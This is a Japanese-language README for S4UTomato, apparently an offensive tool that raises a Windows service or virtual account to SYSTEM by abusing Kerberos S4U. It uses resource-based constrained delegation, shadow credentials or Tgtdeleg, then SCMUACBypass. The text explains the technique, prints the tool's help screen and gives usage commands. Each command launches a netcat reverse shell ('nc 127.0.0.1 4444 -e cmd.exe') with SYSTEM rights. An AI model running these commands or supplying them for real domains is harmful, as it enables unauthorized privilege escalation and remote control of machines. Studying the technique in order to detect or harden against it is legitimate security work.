
サービスアカウントをKerberos経由でLocalSystemに昇格させます。
「Potato」シリーズの権限昇格に詳しい方なら、サービスアカウントの権限をローカルシステム権限に昇格できることをご存じでしょう。初期の「Potato」の悪用手法はほぼ同一です。COMインターフェースの特定の機能を利用し、NT AUTHORITY\SYSTEMアカウントを欺いて攻撃者制御のRPCサーバーに接続・認証させます。その後、一連のAPI呼び出しを通じて、この認証プロセス中に中間者(NTLMリレー)攻撃を実行し、ローカルシステム上のNT AUTHORITY\SYSTEMアカウントのアクセストークンを生成させます。最後にこのトークンを奪取し、CreateProcessWithToken() または CreateProcessAsUser() 関数を使ってトークンを渡して新しいプロセスを作成し、SYSTEM権限を獲得します。
Windowsドメイン環境では、SYSTEM、NT AUTHORITY\NETWORK SERVICE、およびMicrosoft仮想アカウントは、ドメインに参加しているシステムコンピュータアカウントによって認証に使用されます。これを理解することは重要です。なぜなら、最新のWindowsでは、ほとんどのWindowsサービスがデフォルトでMicrosoft仮想アカウントを使用して実行されるからです。特にIISやMSSQLはこれらの仮想アカウントを使用しており、他のアプリケーションも同様に使用する可能性があります。したがって、S4U拡張機能を悪用して、ローカルマシン上のドメイン管理者アカウント「Administrator」のサービスチケットを取得できます。そして、James Forshaw(@tiraniddo)の SCMUACBypass を利用して、そのチケットを使ってシステムサービスを作成し、SYSTEM権限を獲得します。これにより、伝統的な「Potato」系の権限昇格手法と同じ効果が得られます。
マシンがドメインに参加しているシナリオでは、WindowsサービスアカウントまたはMicrosoft仮想アカウントのコンテキストでコードを実行できる限り、Active Directoryが完全に防御するように強化されていない限り、上記の手法をローカル権限昇格に利用できます。
これを行うには、まずローカルマシンアカウントのTGT(チケット付与チケット)を取得する必要があります。これは簡単ではありません。サービスアカウントの権限による制限のため、コンピュータの長期キーを取得できず、KRB_AS_REQリクエストを構築できないからです。上記の目標を達成するために、私は3つの手法を活用しました。リソースベースの制約付き委任、シャドウクレデンシャル、およびTgtdelegです。私は Rubeus ツールセットを基にプロジェクトを構築しました。
C:\Users\whoami\Desktop>S4UTomato.exe --help
S4UTomato 1.0.0-beta
Copyright (c) 2023
-d, --Domain 認証先ドメイン(FQDN)。
-s, --Server ドメインコントローラまたはLDAPサーバーのホスト名。
-m, --ComputerName 作成する新しいコンピュータアカウント名。
-p, --ComputerPassword 作成する新しいコンピュータアカウントのパスワード。
-f, --Force コンピュータオブジェクトの'msDS-KeyCredentialLink'属性を強制的に更新します。
-c, --Command 実行するプログラム。
-v, --Verbose 詳細なデバッグ情報を出力します。
--help このヘルプ画面を表示します。
--version バージョン情報を表示します。
S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

# First retrieve the TGT through Tgtdeleg
S4UTomato.exe tgtdeleg
# Then run SCMUACBypass to obtain SYSTEM privilege
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"
